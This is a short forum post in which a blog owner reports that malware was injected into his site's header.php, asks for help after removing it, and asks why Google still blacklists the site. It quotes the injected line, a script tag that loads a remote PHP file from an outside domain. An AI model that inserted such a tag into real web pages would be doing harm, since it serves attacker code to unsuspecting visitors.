Ghulam Mustafa on "Malware code injected"

Dear expert please help me, recently i received email from google that your site is hacked or malware is injected, then i suddenly visit google webmaster tools and find malware injected code The cod is <script type="text/javascript" src="http://www.canworld.ca/Downloads/qvh9dcnb.php?id=6985212">, then i login to my blog, and find the code in header.php, then i remove, still i am blacklisted by google. I check all the others php file but did not found the code there, please check my blog is it clean now? What I do now?
My blog URL is http://www.entertolearn.com